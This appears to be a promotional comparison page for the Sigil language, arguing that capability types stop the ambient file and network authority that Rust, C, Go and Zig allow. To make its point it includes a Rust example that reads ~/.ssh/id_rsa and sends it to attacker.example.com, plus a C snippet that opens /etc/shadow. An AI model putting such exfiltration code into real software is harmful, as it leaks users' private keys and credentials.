Every systems language makes tradeoffs. Sigil's bet: authority control belongs in the type system, not in conventions, documentation, or OS-level sandboxes applied after the fact. Here's how that bet plays out against the alternatives.
Rust's borrow checker is a genuine breakthrough. It eliminates the entire class of memory corruption bugs — use-after-free, buffer overflows, data races — at compile time, with zero runtime overhead. For a systems language, that's an enormous win.
Rust is also fast, has no garbage collector, produces small binaries, and has a self-hosted compiler. There's a lot to admire. Sigil is not a rejection of what Rust built — it's an extension of the same principle into a dimension Rust left unaddressed.
Rust prevents memory corruption. It does not prevent authority confusion. Any Rust function — including any transitive dependency pulled in from crates.io — can call std::fs::read_to_string(), std::net::TcpStream::connect(), or spawn a process. No explicit permission is required. Authority is ambient.
This matters enormously for supply-chain security. A malicious or compromised Rust crate gets the full OS authority of the process that loaded it. Memory safety doesn't prevent it from exfiltrating your SSH keys or phoning home.
std::fs::read_to_string("/home/user/.ssh/id_rsa") and TcpStream::connect("attacker.example.com:443"). Rust's borrow checker finds nothing wrong — both calls are memory-safe. The attack succeeds.
Cap<FileRead>. The compiler rejects the call. Tries to make a network connection — no Cap<NetConn> in scope. Compile error. The attack is structurally impossible at the language level.
// This compiles and runs fine.
// No authority check anywhere.
fn innocent_looking_helper() -> String {
// Any crate can do this.
std::fs::read_to_string(
"/home/user/.ssh/id_rsa"
).unwrap_or_default()
}
// And phone home:
fn exfiltrate(data: &str) {
use std::net::TcpStream;
use std::io::Write;
let mut s = TcpStream::connect(
"attacker.example.com:443"
).unwrap();
s.write_all(data.as_bytes()).ok();
}
// Rust finds no memory bug here.
// The attack is valid Rust.
// This does NOT compile.
// No Cap<FileRead> in scope.
fn innocent_looking_helper() -> Str {
// ERROR: no Cap<FileRead> available
// fs.open() requires one explicitly
fs.open("/home/user/.ssh/id_rsa")
// ^^ compile error — no `fs` in scope
}
// The cap-bearing version — explicit:
fn read_file(
fs: Cap<FileRead>,
path: Str
) -> Result<Str> {
fs.open(path)?.read_all()
}
// Callers control what paths are
// reachable by restricting the cap.
Rust and Sigil are solving different problems. Rust proves that memory is accessed safely. Sigil proves that authority is used correctly. A fully secure system needs both. Sigil's capability model subsumes memory safety (Sigil also has memory safety guarantees) and adds authority safety on top.
Rust prevents use-after-free. Sigil prevents use-without-authority. Both matter. Only one of them currently exists at the type-system level.
C is the language that built Unix, Linux, and essentially every OS in production today. Its performance is the reference point every systems language is measured against. But C's security model — or lack of one — is the root cause of the majority of serious CVEs over the past 40 years.
C is fast. It maps closely to the hardware. It has zero runtime, no GC, and produces compact, predictable native code. The ecosystem of C tooling — compilers, debuggers, profilers, static analyzers — is deep and mature. For raw systems work, C's performance ceiling is effectively the hardware's.
C has no memory safety and no authority model. Any function can call fopen(), connect(), mmap(), or execve() with no explicit permission required. Authority derives from the process, and the entire process gets the same authority. There is no way to express "this function should not access the network" in C's type system, because C's type system has no concept of authority.
fopen("/etc/passwd", "r") and connect(sockfd, ...). The OS provides no obstacle. The library runs with the same authority as the rest of your program. Defense is impossible at the language layer.
/* Any function can open any file. */
/* Any function can connect to any host. */
/* The type system says nothing about authority. */
int parse_and_exfiltrate(
const char *json
) {
/* innocent JSON parsing... */
FILE *f = fopen("/etc/shadow", "r");
if (f) {
/* read and send over the network */
int sock = socket(
AF_INET, SOCK_STREAM, 0
);
/* ... connect, send ... */
fclose(f);
}
/* All of this is valid C. */
/* The compiler has nothing to say. */
return 0;
}
// parse_json receives no capabilities.
// It cannot open files or connect.
// Structurally impossible, not "forbidden by policy".
fn parse_json(
input: &[u8]
) -> Result<JsonValue> {
// No fs, no net in scope.
// Cannot open files.
// Cannot connect to anything.
// The function signature IS the proof.
JsonParser::new(input).parse()
}
// A compromised version of this function
// that tries to open a file fails at
// COMPILE TIME — not at runtime,
// not in a security audit.
Sigil's security model costs nothing at runtime. Capabilities are compile-time constructs. At runtime, a Cap<FileRead> is just a handle — the authority check happened during compilation. The generated code is as lean as C. The cc0 compiler targets the same native ISAs and produces binaries that run without a runtime or GC.
Go made a deliberate tradeoff: make it easy to write correct concurrent servers, at the cost of low-level control. That tradeoff makes Go excellent for cloud services and tooling. It makes Go a poor fit for operating systems, embedded systems, or security-critical code where you cannot afford GC pauses or ambient authority.
Go has excellent concurrency primitives (goroutines, channels), fast compile times, a strong standard library, and memory safety through a garbage collector. It's productive for writing networked services and CLI tools. The toolchain is simple and the language is deliberately small.
GC pauses. Go's garbage collector has improved significantly but still introduces latency pauses that are unacceptable in hard real-time contexts — device drivers, kernel code, latency-sensitive network stacks. You cannot control when the GC runs.
No ambient authority control. Like C and Rust, any Go function can call os.Open(), net.Dial(), or spawn goroutines that make network calls. There is no type-system mechanism to constrain a package's authority. Go's reflect package further undermines authority control by enabling runtime introspection that can bypass normal access paths.
Systems-level limitations. Go's runtime assumes a hosted OS environment. Writing kernel code, bare-metal firmware, or bootloaders in Go is not practical — the runtime's requirements for scheduling, goroutine stacks, and GC are incompatible with those environments.
import "os" gives any Go file access to os.Open(), os.Stdin, os.Getenv(), and os.Exit(). import "net" gives access to net.Dial() and net.Listen(). There is no import-level authority model — importing a package is not the same as being granted permission to use its most powerful operations. Any transitive dependency gets the same ambient authority.
Zig is perhaps the language most similar to Sigil in intent. It targets systems programming without a GC, aims for simplicity, eliminates C's undefined behavior in most cases, and is self-hosted. It's fast, it's practical, and it has gained significant traction. But it does not have a capability model.
Zig has no GC, no hidden control flow, no operator overloading, and no macros — the "no magic" philosophy keeps the language auditable. Its comptime system allows powerful compile-time metaprogramming without a separate macro language. Zig is genuinely fast and produces lean binaries.
Zig also has excellent C interop — you can import C headers directly and call C functions with no FFI layer. For projects that need to interact with the C ecosystem, this is a real advantage.
In Zig, std.fs.cwd() returns the current working directory as a directory handle — usable by any code in the process, any time, without any explicit authority grant. std.net.tcpConnectToHost() is similarly ambient. Any Zig module can use these functions. There is no type-system mechanism that says "this module should not access the filesystem."
This is not a criticism of Zig's design philosophy — Zig isn't trying to build a capability language. But for the specific problem of confining untrusted code and enforcing least-privilege at compile time, Zig provides no tools. You'd need to enforce these policies through conventions, code review, or OS-level sandboxing — none of which provides compile-time guarantees.
// Zig — any function can access the FS
const std = @import("std");
fn readConfig() !std.fs.File {
// std.fs.cwd() is ambient authority.
// No capability needs to be passed.
// Any function in the process can do this.
return try std.fs.cwd().openFile(
"/etc/config",
.{ .mode = .read_only },
);
}
// A compromised Zig dependency can call
// this freely. No type-level obstacle.
// Sigil — the capability is the contract
fn read_config(
fs: Cap<FileRead>
) -> Result<Config> {
// The type signature tells you:
// - what authority this fn needs
// - what authority it can exercise
// - what a caller grants by calling it
let f = fs.open("/etc/config")?;
Config::parse(f.read_all()?)
}
// A compromised Sigil module without
// Cap<FileRead> literally cannot
// open a file. Compile-time proof.
If you need C interop, a large existing ecosystem, or are writing firmware where authority isolation is not a concern, Zig is an excellent choice. If you're building security-critical systems — operating system components, capability-isolated drivers, sandboxed parsers, or any code where least-privilege is a hard requirement — Sigil's type system gives you guarantees Zig cannot provide.
A comprehensive look across more dimensions. Data reflects the language's type system and standard library semantics, not third-party tooling or workarounds.
| Language | Mem Safe | Cap Security | GC | Systems-Level | Self-Hosted | UB-Free | Null Safe | Concurrency | Async | Pkg Mgr | Compile Speed | Binary Size |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Sigil | ✓ | ✓ type-native | ✗ None | ✓ bare metal | ✓ cc0 | ✓ | ✓ Result/Option | ✓ cap-scoped | ✓ | ✓ sigil.pkg | Fast | Minimal |
| Rust | ✓ borrow ckr | ✗ ambient | ✗ None | ✓ bare metal | ✓ rustc | ~ unsafe exists | ✓ Option<T> | ✓ Send/Sync | ✓ async/await | ✓ Cargo | ~ Slow | Small |
| C | ✗ | ✗ ambient | ✗ None | ✓ bare metal | ✓ GCC/Clang | ✗ | ✗ NULL pointers | ~ pthreads | ✗ manual | ~ make/apt | Very Fast | Minimal |
| C++ | ~ opt-in RAII | ✗ ambient | ✗ None | ✓ bare metal | ✓ clang | ✗ | ~ std::optional | ~ std::thread | ✓ co_await | ~ CMake/vcpkg | ~ Slow w/ templates | ~ Medium |
| Go | ✓ GC | ✗ ambient | ✓ GC pauses | ~ hosted only | ✓ | ~ | ~ nil pointers | ✓ goroutines | ~ channels | ✓ go mod | Very Fast | ~ Large (runtime) |
| Zig | ~ opt-in safety | ✗ ambient | ✗ None | ✓ bare metal | ✓ | ~ Debug builds | ~ optional types | ~ manual | ~ async (WIP) | ✓ zig build | Very Fast | Minimal |
| Ada/SPARK | ✓ | ✗ ambient | ~ opt | ✓ bare metal | ✓ GNAT | ✓ SPARK | ✓ | ✓ tasks | ~ | ~ Alire | ~ Moderate | Small |
| Swift | ✓ ARC | ✗ ambient | ~ ARC | ✗ hosted | ✓ | ~ | ✓ Optional | ✓ async actors | ✓ async/await | ✓ SwiftPM | ~ Moderate | ~ Medium |
✓ = yes / strong ✗ = no / weak ~ = partial / conditional. Cap Security = authority enforced by type system at compile time. GC column: ✗ None = no GC (desirable for systems work); ✓ = has GC.